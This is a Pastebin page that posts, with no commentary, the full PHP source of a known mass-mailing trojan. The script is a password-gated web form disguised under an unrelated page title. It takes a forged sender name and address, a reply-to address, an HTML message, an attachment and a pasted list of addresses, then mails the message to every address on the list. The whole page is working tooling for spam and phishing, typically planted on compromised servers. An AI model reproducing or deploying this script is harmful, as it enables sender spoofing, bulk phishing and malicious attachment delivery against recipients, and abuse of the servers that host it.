FlyFar

Trojan-Mailfinder.PHP.Massma.u - Source Code

Jun 20th, 2023
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.77 KB | Cybersecurity | 0 0
  1. <?
  2.  
  3. $myusername = "";
  4. $mypassword = "";
  5. $areaname = "My Protected Area";
  6.  
  7. if ($_SERVER["PHP_AUTH_USER"] == "" || $_SERVER["PHP_AUTH_PW"] == "" || $_SERVER["PHP_AUTH_USER"] != $myusername || $_SERVER["PHP_AUTH_PW"] != $mypassword) {
  8.     header("HTTP/1.0 401 Unauthorized");
  9.     header("WWW-Authenticate: Basic realm=\"$areaname\"");
  10.     echo "<h1>Authorization Required.</h1>";
  11.     die();
  12. }
  13.  
  14.  
  15. if ($action=="send"){
  16. $message = urlencode($message);
  17. $message = ereg_replace("%5C%22", "%22", $message);
  18. $message = urldecode($message);
  19. $message = stripslashes($message);
  20. $subject = stripslashes($subject);
  21. }
  22.  
  23. ?><style type="text/css">
  24. <!--
  25. body {
  26.     background-color: #000000;
  27. }
  28. body,td,th {
  29.     color: #FFFFFF;
  30.     font-size: medium;
  31.     font-family: Georgia, Times New Roman, Times, serif;
  32. }
  33. .style4 {
  34.     font-size: small;
  35.     color: #FFFFFF;
  36.     font-weight: bold;
  37. }
  38. .style7 {color: #FFFFFF; font-size: xx-small;}
  39. .style8 {
  40.     font-family: Georgia, "Times New Roman", Times, serif;
  41.     font-style: italic;
  42. }
  43. .style9 {color: #000000}
  44. -->
  45. </style><title>Kinematics of Mechanism</title>
  46. <form name="form1" method="post" action="" enctype="multipart/form-data">
  47. <div align="center">
  48. <center>
  49. <table border="2" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="74%" id="AutoNumber1">
  50. <tr>
  51. <td width="100%">
  52. <div align="center">
  53. <center>
  54. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="100%" id="AutoNumber2">
  55. <tr>
  56. <td width="100%" bgcolor="#000000">
  57. <p align="center">
  58. <div align="center">
  59. <center>
  60. <table width="70%" height="277" border="0" cellpadding="0" cellspacing="0" bordercolor="#FF0000" bgcolor="#000000" id="AutoNumber1" style="border-collapse: collapse">
  61. <tr>
  62. <td width="100%" height="272">
  63. <table width="769" border="0" height="303">
  64. <tr>
  65. <td width="786" height="28" colspan="3" bordercolor="#000000" background="/simparts/images/cellpic3.gif" bgcolor="#000000">
  66. <p align="center" class="style4"><font face="Georgia"> Mailer By UchiZzlE ....</font><span class="style8">God With Us</span></td>
  67. </tr>
  68. <tr>
  69. <td width="79" height="22" align="right" bordercolor="#AEAA04" background="/simparts/images/cellpic1.gif" bgcolor="#000000">
  70. <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your
  71. Email:</font></div>
  72. </td>
  73. <td width="390" height="22" bordercolor="#000000" background="/simparts/images/cellpic1.gif" bgcolor="#000000"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  74. <input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your
  75. Name:</font></div>
  76. </td>
  77. <td width="317" height="22" valign="middle" bordercolor="#000000" background="/simparts/images/cellpic1.gif" bgcolor="#000000"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  78. <input type="text" name="realname" value="<? print $realname; ?>" size="30">
  79. </font></td>
  80. </tr>
  81. <tr>
  82. <td width="79" height="22" align="right" bordercolor="#000000" background="/simparts/images/cellpic1.gif" bgcolor="#000000">
  83. <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  84. </td>
  85. <td width="390" height="22" bordercolor="#000000" background="/simparts/images/cellpic1.gif" bgcolor="#000000"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  86. <input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Attach
  87. File:</font></div>
  88. </td>
  89. <td width="317" height="22" bordercolor="#000000" background="/simparts/images/cellpic1.gif" bgcolor="#000000"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  90. <input type="file" name="file" size="30">
  91. </font></td>
  92. </tr>
  93. <tr>
  94. <td width="79" height="22" align="right" bordercolor="#000000" background="/simparts/images/cellpic1.gif" bgcolor="#000000">
  95. <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  96. </td>
  97. <td width="715" height="22" colspan="2" bordercolor="#000000" background="/simparts/images/cellpic1.gif" bgcolor="#000000"><span class="style9"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  98. <input name="subject" value="<? print $subject; ?>" size="59" style="float: left">
  99. </font></span></td>
  100. </tr>
  101. <tr valign="top">
  102. <td colspan="2" width="477" bgcolor="#000000" height="189" valign="top">
  103. <div align="left">
  104. <table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#111111" width="98%" id="AutoNumber4">
  105. <tr>
  106. <td width="100%" bgcolor="#000000">
  107. <textarea name="message" cols="56" rows="10"><? print $message; ?></textarea>
  108. <br>
  109. <input type="radio" name="contenttype" value="plain">
  110. <font size="2" face="Tahoma">Plain</font>
  111. <input name="contenttype" type="radio" value="html" checked="checked">
  112. <font size="2" face="Tahoma">HTML</font>
  113. <input type="hidden" name="action" value="send">
  114. <input type="submit" value="Best Of LUCKz"></td>
  115. </tr>
  116. </table>
  117. </div>
  118. </td>
  119. <td width="317" bgcolor="#000000" height="187" valign="top">
  120. <div align="center">
  121. <center>
  122.   <table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#000000" width="93%" id="AutoNumber3">
  123. <tr>
  124. <td width="100%" bgcolor="#000000">
  125. <p align="center">
  126.   <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea>
  127. </font><br>
  128. </td>
  129. </tr>
  130. </table>
  131. </center>
  132. </div>
  133. </td>
  134. </tr>
  135. </table>
  136. </td>
  137. </tr>
  138. </table>
  139. </center>
  140. </div></td>
  141. </tr>
  142. </table>
  143. </center>
  144. </div>
  145. </td>
  146. </tr>
  147. </table>
  148. </center>
  149. </div>
  150. <div align="center">
  151. <center>
  152. <table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="75%" id="AutoNumber5" height="1" cellpadding="0">
  153. <tr>
  154. <td width="100%" height="1" valign="top" bgcolor="#000000">
  155. <p align="right" class="style7">Creditz to Spaghy INC </td>
  156. </tr>
  157. </table>
  158. </center>
  159. </div>
  160. </form>
  161.  
  162. <?
  163. if ($action=="send"){
  164.  
  165. if (!$from && !$subject && !$message && !$emaillist){
  166. print "Please complete all fields before sending your message.";
  167. exit;
  168. }
  169.  
  170. $allemails = split("\n", $emaillist);
  171. $numemails = count($allemails);
  172.  
  173. #Open the file attachment if any, and base64_encode it for email transport
  174. If ($file_name){
  175. @copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");
  176. $content = fread(fopen($file,"r"),filesize($file));
  177. $content = chunk_split(base64_encode($content));
  178. $uid = strtoupper(md5(uniqid(time())));
  179. $name = basename($file);
  180. }
  181.  
  182. for($x=0; $x<$numemails; $x++){
  183. $to = $allemails[$x];
  184. if ($to){
  185. $to = ereg_replace(" ", "", $to);
  186. $message = ereg_replace("&email&", $to, $message);
  187. $subject = ereg_replace("&email&", $to, $subject);
  188. print "Success sending to $to....... ";
  189. flush();
  190. $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  191. $header .= "MIME-Version: 1.0\r\n";
  192. If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  193. If ($file_name) $header .= "--$uid\r\n";
  194. $header .= "Content-Type: text/$contenttype\r\n";
  195. $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  196. $header .= "$message\r\n";
  197. If ($file_name) $header .= "--$uid\r\n";
  198. If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  199. If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  200. If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  201. If ($file_name) $header .= "$content\r\n";
  202. If ($file_name) $header .= "--$uid--";
  203. mail($to, $subject, "", $header);
  204. print "sent'><br>";
  205. flush();
  206. }
  207. }
  208.  
  209. }
  210. ?>
Add Comment
Please, Sign In to add comment